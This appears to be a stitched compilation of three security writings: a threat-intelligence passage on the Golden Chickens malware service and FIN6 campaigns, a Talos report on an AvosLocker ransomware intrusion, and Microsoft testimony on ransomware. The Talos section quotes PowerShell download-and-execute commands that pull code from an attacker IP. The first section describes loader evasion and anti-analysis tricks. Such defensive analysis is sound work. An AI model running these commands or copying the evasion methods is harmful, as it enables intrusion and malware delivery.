- **TerraStealer**: An information stealer (also known as SONE, StealerOne) written in PureBasic.
Consistent with our earlier observation, attacks relying on lite_more_eggs result in a variant of more_eggs dropped on the victim’s system. In this case, neither TerraLoader nor more_eggs were digitally signed, and the observed more_eggs variant version is the older “2.0b”.
We have observed three occurrences involving the same highlighted attack kill-chain of GC attributed tools, resulting specifically in the older “2.0b” variant of more_eggs. Although this activity is not distinct enough, we are temporally attributing these sightings to GC06.tmp.
**Sighting 2 – GC05: A New Campaign with Familiar Tactics, Techniques, and Procedures (TTPs)**
On 10 April, QuoINT detected a new VenomLNK variant. The VenomLNK file is contained within a Zip archive, both themed as a financial document, and likely delivered to a targeted user as an email attachment or link. While the observed filenames indicate the exploitation of a financial theme, we cannot confirm the victimology at this time.
The attack’s kill-chain involves an obfuscated JS scriptlet dropping a TerraLoader variant and decoy Microsoft Word document. While the decoy document appears on the user’s system, the TerraLoader is running and dropping a more_eggs variant. Finally, the more_eggs delivers a final payload of the information-stealer tracked by QuoINT as TerraStealer, two tools already attributed to the GC MaaS.
Pivoting on our initial sample, we obtained additional VenomLNK files which are all similar except for the C2 URLs and contain slight modifications from earlier known variants. Further, we determined that our initial sighting was part of a campaign which likely began on 11 March through 14 April. Based on our observations, the campaign aligns with activities and TTPs we previously attributed to GC05; a threat actor we have tracked since September 2019 who leverages the GC MaaS extensively, especially VenomLNK, more_eggs, and TerraStealer.
**FIN6: A Familiar and Returning GC MaaS Customer**
In April, we processed two sightings of attacks sharing similar characteristics of previously observed activity attributed to the financially-motivated threat actor group known as FIN6. Since 2018, QuoINT was able to attribute with high confidence the use of GC MaaS tools such as more_eggs, TerraLoader, and TerraTV to FIN6 campaigns. Based on our analysis of the new campaigns, it is evident that FIN6 remains a customer of the GC MaaS. Although FIN6 is known to primarily target the financial and retail sectors, we cannot confirm the victimology of these campaigns at this time.
**Sighting 3 – ‘Fake Job’ Spearphishing Delivering VenomLNK**
On 8 April, we became aware of a new variant of VenomLNK and its original Zip archive. Both filenames aligned with the theme for the known fake job campaign attributed to FIN6, by both researchers at IBM-X Force and Proofpoint, conducted since at least the middle of 2018. The original Zip archive, named assistant_buyer.zip, contained the VenomLNK variant named Job Offering.lnk. During analysis, the C2 URL was not serving the next stage payload of the kill-chain. Based on our telemetry, the first alleged execution of the attack occurred on 7 and 8 April, suggesting the sighting was likely part of new activity. However, due to lack of further pieces of evidence on the kill-chain, we currently attribute the sighting to FIN6 with low confidence.
**Sighting 4 – TerraLoader Directly Injecting Metasploit’s Meterpreter**
On 27 April, QuoINT detected a new variant of TerraLoader having a modified payload delivery mechanism which decrypts the included payload (shellcode) and loads it directly into memory. During analysis, we identified two DLLs in memory – one very likely OpenSSL and the other highly likely Meterpreter, which is a full-featured backdoor. The Meterpreter uses HTTPS to callback to an attacker-controlled asset. Further aligning with the detection timeframe, the TerraLoader variant included a kill-switch of year 2020 – a feature which disallows the execution of a malware sample beyond a hardcoded date, time, or year value.
As we have already noted, the kill-switch is a common feature of the Operator’s arsenal aimed at enforcing his own licensing with his customers. Previously in April 2019, we identified FIN6 as the only GC MaaS customer using a variation of the approach described above. Further to the attribution of the April 2019 case, the involved C2 domain, registered in January 2019, is also a domain we observed in attack activity we already attributed earlier, with high confidence to FIN6. In April 2020, we detected another attack with the same approach from 2019.
A reasonable hypothesis for the new approach of using obfuscated shellcode, instead of injecting into another process, could likely be to increase stealth and evade detection by security solutions such as Anti-Virus. As such, TerraLoader is known to be fully undetectable, so decrypting and executing code within the same memory space will increase the likelihood of being undetected by most Anti-Virus solutions.
**GC MaaS Toolset Updates**
**TerraLoader**
The TerraLoader variant observed in Sighting 2, spanning from 11 March to 14 April, contains some notable feature changes, which we previously observed only twice in December 2019. The new variant uses a different string de/obfuscation, brute-forcing implementation, and anti-analysis techniques.
- **String de/obfuscation**: The latest variants store strings RC4 (a stream cipher) encrypted as raw bytes and seem to entirely use the same stream cipher for decryption. In early variants, deobfuscation was achieved through XOR-decryption on strings stored as hex streams.
- **Brute-forcing Implementation**: In new variants, only the first half of the string encryption key is stored in the malware. The second half of the string encryption key is brute-forced – calculated at runtime by counting up from zero until it is found. As soon as the brute-forcing is able to decrypt a specific ciphertext to a specific plaintext, which are both stored in the malware, the key is successfully found. From an analysis perspective, earlier variants used XOR obfuscation which can be bypassed quickly; however, the latest variants use RC4 so the same brute-force search for the actual key needs to be performed to successfully decrypt all strings.
- **Anti-analysis Techniques**:
- Checks where in memory ntdll.dll (a Microsoft file that contains NT kernel functions) is loaded.
- Checks hash of executable (exe) name against a whitelist (pre-calculated hashes) including regsvr32.exe, using ZwQueryInformationProcess.
- Checks hash of loaded DLLs against a blacklist (pre-calculated hashes).
- Compares hash of Dynamic-link library (DLL) extension, expects .ocx, and exe name (expects regsvr32.exe) against pre-calculated hash values. To do so, Process Environment Block (PEB) is used to know where a process exists in memory.
- Uses NtQueryInformationProcess to check if a debugger is present on the system.
- Dynamic function address resolution continues to perform lookup by hash (CRC32), but additionally uses an XOR value to make direct hash value comparison impractical.
**more_eggs**
On 29 April, we detected a new variant of TerraLoader which contains a msxml.exe (a Windows command line utility that invokes the Microsoft XML Parser for transformation) and new more_eggs version, “6.6b”, embedded in its .data section. The latest variant of more_eggs is 6.6b, one iteration above the last known version “6.6a”, was observed during the campaign from 11 March through 14 April. Besides the typical customized more_eggs configuration variables (version number BV, C2 address Gate, and part of the ciphering key used to encrypt C2 communications, Rkey), the latest variant contains two notable main code changes:
- Introduces minimum delay before executing or retrying an action.
- Attempts to clean up memory by assigning empty values to variables after using them. In general, it is not clear how effective this approach is in JavaScript; however, this does at least hinder a JavaScript debugger.
**VenomLNK**
Sighting 3 utilized an updated variant of VenomLNK as an initial attack vector in a targeted campaign. We have observed VenomLNK used in various campaigns involving different infection chains. Metadata analysis of the LNK file allows key information to be extracted about the direct link to another file and the execution process. In general, LNK files have a small file size but contain valuable information such as shortcut target file, file location and name, and the program that opens the target file. The VenomLNK files obtained from the campaign were all similar and contain slight modifications from earlier known samples which are:
- Uses a new volume serial number: 0xcae82342. The Serial Number is dependent on the hard drive the LNK file was created on.
- Evolution of the execution scheme: /v /c set “z1=times”. The command line input places the first variable in double quotes, which can often break detection-based security solutions.
- Only uses the Local Path (C:\Windows\System32\cmd.exe) to the Windows command prompt, dissimilar from earlier variant which also included the Relative Path (……..\Windows\System32\cmd.exe).
**Conclusion**
The GC MaaS continues to offer a versatile catalog of attack tools and underlying C2 infrastructure to fulfill the entire attack kill-chain. The Operator continues to regularly evolve and improve the toolset within his service portfolio, and adapt new techniques over time, such as in the campaign leveraging TerraLoader to directly inject a payload into memory. We expect the MaaS will continue to prove its success and profitability, through at least its returning customers and the known top-tier e-crime threat actors who have utilized the available services.
**Appendix I: Indicators of Compromise**
**Sighting 1**
- 2ec3639c055d1951eb0149e3bc903bc127a4ae6f9e31cf6761c0df847f764cf7
- 7122cf59f8a59f9a44f20fd4c83451c5c4313e0021d3f1ba9c2b1a4f39801db1
- 0aee265a022ee84e9c8b653e960559c9761a7362e1c345019a552188114b7e80
- hxxps://origin[.]cdn77[.]kz/api/json
- hxxps://origin[.]cdn77[.]kz/api/json[.]txt
- hxxp://download[.]sabaloo[.]com/css/libatk-1[.]0-0[.]dat
- 5[.]255[.]96[.]203
**Sighting 2**
- 19c2f16334fe30296299ca92f716c1e074c16e6a7b9ee6a74bedec7ccfdcd6f0
- 4e562916eb56c7a2c9336c82e49c3a1285ccd95a74a5d1ab881e1d3dd8fba8e9
- 60914099428861a8aeeb361359035e11feb464fa291772eb0b45805802d96d7d
- 686b279d282c9794dcecbd8b6164ec8b12f6b4617df0eb0fa72149cedd215ac8
- 831537fff141897aee0fea5f03f4ffa7fb7a3598568da58dc27ddd0aa8473809
- b33ca728423df9873bff43fea7c02755a1efeac8e1d013653a6ab706d5d09af5
- b479f1beb42a8784862381a38b023ce009acfac79770b3ad7cc2245a56320bb8
- b7431497f682697968ddcbdafc510350aaf04697bda1e0bc638d89a972e9461d
- b95637122a540083d7a5a7063a4b97ad7fdd0bb22ddb301ed3859a394b35b3a0
- Citibank_statement_08_03_2020.lnk
- Citibank_statement_08_03_2020.Zip
- fbe753e22f80486e80dc764cfc60a87ed08548f76cefbfae0c38b19f36552fa0
- fcffcc8511483f3dbeb8e2eaa3184a866cfadc11a98f05d5f97f800e970b4aba
- ff50be3fe471cbda1d2ce980f82659efe3a07d8266b93474bd8b0aa3ae372988
- hxxp://json[.]digebuy[.]com/demo[.]txt
- hxxp://json[.]digebuy[.]com/english[.]txt
- hxxp://web[.]rossnnam[.]com/readme[.]txt
- doaglas[.]com
- 162[.]255[.]119[.]21
- office[.]fielnnam[.]com
- 91[.]92[.]109[.]59
- ScottBank_01_04_2020.lnk
- ScottBank_01_04_2020.Zip
- ScottBank_05_04_2020.lnk
- ScottBank_05_04_2020.Zip
- ScottBank_statem_23.04.2020.lnk
- ScottBank_statem_23.04.2020.Zip
- ScottBank_statem_23.04.2020.Zip
- M&T_Bank_08_04_2020.Zip
- 28bdd1dbd4a15f6b5142bb3170de6e69320c3c96ba74a33198b0559a896d472a
- a7d4402917a32299b74d707efd81d7e1f3692a3871f4491691a45fc5e69ef19d
- M&T_Bank_08_04_2020.lnk
- M&T_Bank_08_04_2020.Zip
- 931ff382b786e15b4bceaebd40ec61baa096a2f4ac873c28c50667ef2be6755a
- af0e95119ad9a56415e77ae4b6bab2081dccb1516f6f2c5dfd357c29f2e3259d
- ScottBank_05_04_2020.lnk
- web[.]rossnnam[.]com/readme[.]txt
- 85[.]204[.]116[.]135
- json[.]digebuy[.]com/english[.]txt
- json[.]digebuy[.]com/demo[.]txt
- 192[.]64[.]119[.]132
- hxxps://office[.]fielnnam[.]com/update/check
- hxxps://maps[.]doaglas[.]com/update/check
**Sighting 3**
- eaf88363657b4989ceb9c4d7cde824cf62e10c2d6d05bfd80277464d4282da82
- f0bdf8e640ed3e5441675ab57e09f680ea41edd95c3cf87b82d742bead29ff36
- hxxp://18[.]221[.]151[.]210/21[.]odt
**Sighting 4**
- 30cdbb1ff2e85502bd81bfe8547c95f735a120aa7547d42867f7bb5e8b91c405
- xo[.]mikeplein[.]com
- hxxps://xo[.]mikeplein[.]com:443/9XpHPVaMe23UyNXJim_0kwxeHtbpYrZo13FcMH30leL6Qcs0J
- 8h6tklBPDDnPY1x66UU9L0FPPcOUStSycnI1UvIV/
- 193[.]42[.]111[.]180
**Updated Tools**
- **TerraLoader**: 38f3a52e1ebd93db75f0fb6ce6172565cc0f27f0f86f32f470fa7a9c8de9f094
- **more_eggs**: 3d9baa8ffd350fb9d8ad7c2591c321a402b8e8f2e083dc83c941e1c9bb022549
- **VenomLNK**: 19c2f16334fe30296299ca92f716c1e074c16e6a7b9ee6a74bedec7ccfdcd6f0
**MITRE ATT&CK**
**Toolkit** | **Tactic & Technique** | **Recommended Course of Action**
--- | --- | ---
**TerraLoader** | Execution | Anti-Virus software and advanced End-Point solution can significantly reduce the impact, and lessen the likelihood of successful execution, of TerraLoader. Often, TerraLoader is digitally signed. Enforce signature validation via Domain Group Policy. Log cmd.exe and regsvr.exe usage via Domain Group Policy.
| Defense Evasion | T1117 Regsvr32
| T1116 Code Signing
| T1027 Obfuscated Files or Information
| T1140 Deobfuscate/Decode Files or Information
**more_eggs** | Execution | Perform HTTPS traffic inspection. Log exe and regsvr.exe usage via Domain Group Policy.
| Defense Evasion | T1053 Scheduled Task
| T1027 Obfuscated Files or Information
| T1140 Deobfuscate/Decode Files or Information
| Discovery | T1082 System Information
| T1016 System Network Configuration
| T1033 System Owner/User
| Lateral Movement | T1105 Remote File Copy
| Command and Control | T1043 Commonly Used Port
| T1071 Standard Application Layer Protocol
| T1032 Standard Cryptographic Protocol
| T1041 Exfiltration Over Command and Control Channel
**VenomLNK** | Execution | Log exe and regsvr.exe usage via Domain Group Policy.
| T1204 User Execution
| T1059 Command-Line Interface
| T1191 CMSTP
| Lateral Movement | T1105 Remote File Copy
| Command and Control | T1043 Commonly Used Port
| T1071 Standard Application Layer Protocol
**Blog updated on 21 July to fix error in Sighting 2 and Sighting 3 IOC order.** |
# Avos Ransomware Group Expands with New Attack Arsenal
By Flavio Costa, Chris Neal, and Guilherme Venere.
In a recent customer engagement, we observed a month-long AvosLocker campaign. The attackers utilized several different tools, including Cobalt Strike, Sliver, and multiple commercial network scanners. The initial ingress point in this incident was a pair of VMWare Horizon Unified Access Gateways that were vulnerable to Log4Shell. While Cisco products were deployed on the network, the appliances were never configured, allowing the attacker to gain access to internal servers and maintain a foothold. During the time the attacker was active in the network, several security events were detected by the security products but were not reviewed by the security team, which could have prevented the ransomware activity.
## Threat Actor Profile: Avos
Avos is a ransomware group first identified in 2021, initially targeting Windows machines. More recently, a new ransomware variant of AvosLocker, named after the group, is also targeting Linux environments. Well-funded and financially motivated, Avos has been active since June 2021 and follows the ransomware-as-a-service (RaaS) model, an affiliate program to recruit potential partners. The announcement of the program includes information about the features of the ransomware and lets affiliates know that AvosLocker operators will handle negotiation and extortion practices. The user "Avos" has also been observed trying to recruit individuals on the Russian forum XSS.
## Initial Vector
Typically, Avos uses spam email campaigns as an initial infection vector to deliver ransomware. In this particular incident, however, the initial vector was an ESXi server exposed on the internet over VMWare Horizon Unified Access Gateways (UAG), which was vulnerable to the Log4Shell vulnerability. The customer notified Talos on March 7, 2022, but noticed activity related to the ransomware attack as far back as February 7, 2022.
Several vulnerabilities associated with Log4j were found on this customer's UAG:
- CVE-2021-44228
- CVE-2021-45046
- CVE-2021-45105
- CVE-2021-44832
These vulnerabilities can potentially allow remote code execution on Unified Access Gateways by a low-privilege non-root user named "gateway." Beyond that, the inner-transit firewalls that could control or limit access to the internal infrastructure were not configured, hence, the attackers used it as the initial access to establish a foothold on the customer's network, granting access to their internal servers. The victim in this case used Cisco Secure Endpoint (formerly known as Advanced Malware Protection) as its EPP/EDR solution on most endpoints, from workstations to servers, which allowed Talos to collect important information about the entire attack lifecycle.
## Attack Timeline
During the initial phases of the attack, the threat actor made numerous steps to gain a foothold on the victim network. Several other payloads and malicious tools were observed on endpoints, along with the utilization of living-off-the-land binaries (LoLBins). Talos observed the attackers using the WMI Provider Host (wmiprvse.exe) on a Windows Server that was the initial point of entry to run an encoded PowerShell script using the DownloadString method at 01:41 UTC on February 11.
Three days later, on February 14, a retrospective detection was triggered for the RuntimeBrokerService.exe executable in "C:\Windows\System32\temp\" for creating a file called "watcher.exe." These particular files may be artifacts from a separate threat actor, as these files appear to be related to a cryptocurrency miner rather than AvosLocker. It is not uncommon for a miner to be deployed alongside ransomware in an attempt to passively increase revenue. However, there is significant evidence that multiple threat actors had compromised this network, as DarkComet samples unrelated to this campaign were also discovered.
Approximately four weeks later, on March 4, another encoded PowerShell command was executed, again utilizing the DownloadString method.
```powershell
powershell.exe -exec bypass -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHKACWB0AGUAbQAuAEAZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKAKQAUA
```
Decoded:
```powershell
iex (New-Object SystemNetWebClient)DownloadString('http://45[.]136[.]230[.]191:4000/D234R23');
```
Two days later, on March 6, the attacker ran more PowerShell scripts to download and execute a Sliver payload labeled "vmware_kb.exe." In the following days, several PowerShell scripts downloaded additional files, including Mimikatz and a .zip archive called "IIS Temporary Compressed Files.zip" containing Cobalt Strike beacons and a port scanner labeled "scanner.exe." This port scanner is a commercially available product which Avos is known for deploying called SoftPerfect Network Scanner. Later that same day, the attackers utilized WMIC to modify administrative settings on both a local and a remote host, behavior that is indicative of the first stages of lateral movement.
Another PowerShell command observed on March 6 is an artifact from a Cobalt Strike beacon executing its powershell-import function:
```powershell
powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAAAuAFcAZQBiAGMAbAbABpAGUAbgB0ACkALgBEAG8A
dwBuAGwAbwAgAUQAUWB0AHIAAQBuAGcAKAAAGgAdAB0AAAOgAvAC8AMQAyADcALgAwAC4AMAAAAAAAAGAzADIANAA2AdcALwAnAC
```
Decoded:
```powershell
IEX (New-Object NetWebclient)DownloadString('http://127.0.0.1:32467/');
```
On March 8, another instance of the SoftPerfect Network Scanner was transferred via AnyDesk to another server in the network. Later that day, the AvosLocker payload was finally delivered, using the victim's company name as the filename. To proliferate the ransomware and other tools across the target network, the attackers used PDQ Deploy, a legitimate software deployment tool. Once the ransomware was delivered, the victim's files were then encrypted and a ransom note was displayed.
## Conclusion
This incident showcases the importance of ensuring that security appliances are properly set up and configured, updates and patches are applied, and the security team is always monitoring alerts. While the attack techniques used in this campaign are not novel, they are still effective if the proper precautions are not in place. With a highly motivated threat actor like Avos actively recruiting affiliates, these attacks are likely to proliferate in the future. Such attackers are constantly hunting for vulnerable networks and can infiltrate them with relative ease, sometimes by multiple threat actors, as seen in this particular case. A layered defense model is therefore imperative to detect, contain, and protect against post-exploitation activity. While static and network-based detection is important, it should be complemented with properly configured system behavior analysis and endpoint protections.
## Coverage
Ways our customers can detect and block this threat are listed below:
- Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
- Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
- Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
- Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances can detect malicious activity associated with this threat.
- Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
- Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
- Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
- Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
- Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IoCs
### AvosLocker
- ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
- cee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b
### Sliver
- 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2
### Mimikatz
- cac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99
- 29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60df9304
- 63bdd396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4f97a1
- 63ebb998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c436360344d79d
- 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9
- f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a01
### Cobalt Strike Artifacts
- smb.ps1
- 48514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b
- 61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374a5b75
- beacon.ps1
- e4af7f048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189
- e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd49ca0f
### IIS Temporary Compressed Files.zip
- 978dffa295ac822064ff6f7a6b6bc498e854f833d36633214d35ccce70db4819
### IPs
- 176[.]113[.]115[.]107
- 45[.]136[.]230[.]191 |
# The Growing Threat of Ransomware
**Editor’s Note:** On July 20, Kemba Walden, Assistant General Counsel, Digital Crimes Unit, Microsoft, testified before the House Energy and Commerce Committee’s Subcommittee on Oversight and Investigations for a hearing “Stopping Digital Thieves: The Growing Threat of Ransomware.”
My name is Kemba Walden, and I am an Assistant General Counsel in Microsoft’s Digital Crimes Unit (“DCU”), where I lead our Ransomware Analysis and Disruption Program. I am also the co-chair of the Disruption working group of the Institute for Security and Technology (IST) Ransomware Task Force, which brings together experts across industries to combat the threat of ransomware. Prior to Microsoft, I spent a decade in government service at the U.S. Department of Homeland Security. At DHS, I held several attorney roles, specifically as the lead attorney for the DHS representative to the Committee on Foreign Investment in the United States and then as a cybersecurity attorney for the Cybersecurity and Infrastructure Security Agency, and its predecessor. I want to thank you for the opportunity to discuss ransomware attacks and illustrate why increased and meaningful information-sharing and public-private partnerships are critical to combatting this latest virulent example of costly cybercrime.
I’m also pleased to share information about how Microsoft is combatting ransomware. We believe the best strategy to decrease ransomware attacks is through targeted disruption campaigns along with increased cybersecurity hygiene. I will close by highlighting several key opportunities for more effective disruption of this cybercrime, opportunities to raise the collective security of public sector and private sector organizations, and the importance of partnerships.
Ransomware attacks pose an increased danger to all Americans as critical infrastructure owners and operators, small and medium businesses, and state and local governments are targeted by sophisticated criminal enterprises and nation-state proxies, operated by distinct criminal organizations. A sustainable and successful effort against this threat will thus require a whole-of-government strategy executed in close partnership with the private sector.
## Microsoft’s Approach to Cybercrime
Microsoft plays offense against online threats. Working through robust partnerships, we strive to take down criminal infrastructure and pursue both financially motivated and nation-state supported cybercriminals. This work helps us to protect our customers and to improve the safety of the global internet community so that all users – enterprises, consumers, and governments – can trust the technology and online services on which we rely for commerce and communication. The Microsoft Digital Crimes Unit (DCU) is an international team of technical, legal, and business experts that has been fighting cybercrime to protect victims since 2008. We use our expertise and unique view into online criminal networks to act. We share insights internally that translate to security product features, we uncover evidence so that we can make criminal referrals to appropriate law enforcement throughout the world, and we take legal action to disrupt malicious activity.
As part of the DCU, Microsoft’s new Ransomware Analysis and Disruption Program, which we launched in 2020, strives to make ransomware less profitable and more difficult to deploy by disrupting infrastructure and payment systems that enable ransomware attacks and by preventing criminals from using Microsoft products and services to attack our customers. The program is based on Microsoft’s decade-long experience and history of success driving a sustained fight against other types of cybercrime.
In addition to partnering with law enforcement to disrupt cybercriminals involved in ransomware attacks, such as the recent disruption of the payment system of the cybercriminals that attacked Colonial Pipeline, Microsoft also uses our expertise to inform cybercrime legislation and global cooperation that advances the fight against cybercrime. We provided substantial support to IST and participated in all four working groups of the Ransomware Task Force. I personally co-chaired the Task Force’s Disruption working group. My colleagues and I are also active participants in the World Economic Forum’s Partnership Against Cybercrime, focused on global policy efforts to combat ransomware.
Through Microsoft’s observations of ransomware deployment and attacks, our active collaboration with the U.S. Government to date, and Microsoft’s thought leadership in the global discussion on policy and operational opportunities to counter ransomware, I will next address opportunities for more effective disruption of this cybercrime, opportunities to raise the collective security of public sector and private sector organizations, and the importance of partnerships.
## Defining Ransomware
### What is a Ransomware Attack?
Ransomware is a specific kind of malicious software or “malware” used by cybercriminals to render data or systems inaccessible for the purposes of extortion – i.e., ransom. In a standard ransomware attack, the cybercriminal achieves unauthorized access to a victim’s network, installs the ransomware, usually in locations with sensitive data or business-critical systems, and then executes the program, locking files on that network, making them inaccessible to the victim until a ransom is paid. Usually, the ransom demand is for payment in the form of cryptocurrency – such as Bitcoin. Increasingly, attackers also steal sensitive data before deploying the actual ransomware in what is known as a double extortion ransomware attack. The theft of data compels the victim to engage in negotiations and raises the potential reputational, financial, and legal costs of not paying the ransom as the attackers will not only leave the victim’s data locked, but also leak sensitive information that could include confidential business data or personally identifiable information.
Recent, high-profile incidents such as those involving the Colonial Pipeline, JBS Foods, and Kaseya ransomware attacks drew considerable public attention and illustrate the extent of the threat and the significant, multimillion dollar consequences of ransomware. However, based on Microsoft’s data, ransomware is not limited to high-profile incidents. It is ubiquitous and pervasive, impacting wide swathes of our economy, from the biggest to the smallest players. Our data shows that the energy sector represents one of the most targeted sectors, along with the financial, healthcare, and entertainment sectors. And despite continued promises by some cybercriminals not to attack hospitals or healthcare companies during the global pandemic, Microsoft has observed that healthcare remains the number one target of ransomware.
### How does a ransomware attack work?
Cybercriminals will gain access to the victim’s network through phishing, a stolen password, or through an unpatched software vulnerability. Then, the cybercriminals will seek to move laterally within the network to obtain higher level privileges, such as those held by the victim’s IT Administrator, to access the entire network. Cybercriminals will then conduct reconnaissance within the victim’s network, looking for critical systems and sensitive data, in some cases stealing this data, to facilitate an effective ransom demand. Finally, the cybercriminals will leverage this information to install the ransomware on the network that will lock the victim’s files until the ransom is paid.
### How do cybercriminals ransom targets?
Ransomware has effectively evolved into a highly lucrative business model, with an accompanying advanced intelligence collection aspect. Criminal actors collect and perform research and analyze their intelligence to identify an optimal dollar amount for their ransom demand. Once criminal actors break into a network, they may access and study their target’s financial documents and insurance policies to better inform their eventual ransom demand and negotiating position. They may even research the penalties associated with that organization’s local breach laws. The actors will then extort money from their victims, not only in exchange for unlocking their systems, but in some cases to prevent public disclosure of the victim’s stolen data. Leveraging the significant intelligence they can gather on victim companies, the criminal actor will then launch their attack, identifying what they regard as an “appropriate” ransom amount.
Once the criminal actor installs the ransomware and uses it to lock the victim’s system, the victim will have access only to a ransom note. The ransom note provides instructions to the victim on how to communicate with the criminal actor. The negotiation process and back-and-forth communications are often surreal and disturbing in the nonchalance with which some criminal actors offer to “help” companies recover from the very attack they have orchestrated.
### What barriers to entry exist to executing a ransomware attack?
Very few. A cybercriminal does not need specialized computer coding skills to profit from ransomware. The only cybercriminal in the entire ransomware lifecycle who requires specialized code development skills is the originator who develops the malicious software in the first place. There are hundreds, if not thousands of different ransomware variants, such as Ryuk, Darkside, REvil, Maze, and Conti. Attacks are often misleadingly named after the malicious software that was installed on a victim’s network though the cybercriminals involved in the attack may not have any link to the creator of that particular ransomware. A single cybercriminal may use any number of ransomware variants in conjunction with other tools to attack victim networks.
Increasingly, cybercriminals who use ransomware have moved to a “Ransomware as a Service” business model that is driven by human intelligence and research. This has further decreased the barriers to entry for any cybercriminal. Ransomware as a Service is a “modular” business model where individuals with limited technical skills can leverage the malware developed by others to conduct their own attacks.
Developers or managers will use hacker forums to recruit affiliate hackers. For example, as Bleeping Computer reported last fall, REvil developers used hacker forums to actively recruit affiliate hackers. To facilitate the business aspect of the relationship, developers create and run ransomware and payment sites with affiliates who hack businesses and lock their devices. Developers typically get 20-30% of any ensuing ransom, with affiliates receiving 70-80%. This is effectively a crime syndicate where each member is paid for a particular expertise.
## Opportunities for Disruption
Disruption of criminal activity does not eliminate the problem, but it raises the cost of committing the crime. Arrests and prosecution in cybercrime can be difficult, disrupting the infrastructure that is used by cybercriminals in ransomware attacks is therefore a key part of deterrence. In the case of ransomware, there are opportunities for both the public and private sector to focus on making the crime more difficult to commit (infrastructure disruption) and opportunities to focus on making the crime less profitable (payment disruption). The hope is that by shifting this balance, criminal actors will abandon this crime.
### Disrupt the Infrastructure
There is not a “one size fits all” infrastructure disruption that will eliminate ransomware; rather, disruption will make it more difficult for the criminal actor to accomplish their goals, thereby raising the cost of committing this crime. Generally, infrastructure disruption focuses on removing the infrastructure such as websites, servers, or email accounts that enable the criminal actor to negotiate the ransom with the victim and for publicly disclosing the victim’s sensitive data. Ransomware attacks often use the same infrastructure for multiple campaigns. Cybercriminals decide how to conduct their attack based on what security tools were present, whether the network had good cyber hygiene, and which data the cybercriminals wanted to exfiltrate from the network.
### Disrupt the Payment Distribution System
Disrupting the payment distribution system that supports this crime makes ransomware attacks less profitable. Improving our technical means and legal process for disrupting the infrastructure that supports payments earned through ransom will significantly impact the profitability (and thereby prevalence) of this crime. Because the payment distribution system and the intermediaries that support the money flow ranges across international borders, disrupting the payment distribution system will require a global strategy.
Regardless of where ransomware is deployed, typically the threat actors will demand payment via cryptocurrency. Though the underlying blockchain technology facilitates transparent cryptocurrency flows, the owners of wallets remain pseudonymous. To achieve this pseudonymity, first a threat actor must obtain a crypto wallet from a wallet services company and second, the threat actor will seek to cash out its cryptocurrency through some sort of platform. Most stakeholders in this cryptocurrency system do not want their platforms used for nefarious purposes. Those that are compliant with U.S. laws are interested in partnering with the security community to make it more difficult for criminal actors to use their platforms. However, some wallet service providers and cryptocurrency exchanges can exist in jurisdictions that are either unwilling or unable to effectively police these service providers. It’s these intermediaries that facilitate the flow of ill-gotten earnings from ransomware.
## Raising Awareness for Potential Victims
Although disruption is important, preventing criminal actors from getting into networks in the first place and making organizations resilient to attacks are equally important. Potential victims, governments, organizations, and businesses of all sizes are at varying levels of preparedness maturity. Ensuring that all potential victims increase their security and resilience is key.
Cybercriminals who install ransomware use tried and true methods for access. Often, applying basic cybersecurity hygiene can prevent a cybercriminal’s ability to ransom a system. Microsoft recommends that the government produce clear usable guidance to address common points of confusion around ransomware attacks, clarifying what organizations should do first, next, and after that (1-2-3 style guidance).
Making it harder to get in. There are several basic cybersecurity hygiene steps that can be taken to make it much harder for attackers to gain access to the victim’s network. The most important of these steps is the use of multi-factor authentication. A study done at Microsoft estimates that more than 99% of all cyberattacks would have been prevented if multi-factor authentication were deployed. Other steps can be taken to identify and close off vulnerable entry points. Limiting the scope of damage forces the attackers to work harder to gain access to multiple business-critical systems by establishing least privileged access and adopting Zero Trust Principles.
## The Importance of Public-Private Partnerships
Just as committing ransomware attacks requires collective effort, countering ransomware attacks needs the same focus and global coordination. As these attacks have evolved to more sophisticated enterprise-like operations involving multiple players, countering these efforts requires a multi-stakeholder approach. Each of us has an important role to play, with the foundation of our efforts being reliable information and operational collaboration.
The recent takedown of Emotet, a botnet known to support the distribution of the Ryuk ransomware, involved law enforcement around the world as well as private sector security researchers. Individual computers infected with malicious software are called bots. These bots are controlled by the cybercriminal to create a botnet – that can be used to engage in further criminal activity.
As the U.S. government has recognized, for example, with the creation of the new interagency ransomware taskforce and the FBI’s new cyber strategy, unilateral action, whether public or private, is not a sustainable solution against nation-state sponsored or financially motivated sophisticated organized cybercrime.
## Conclusion
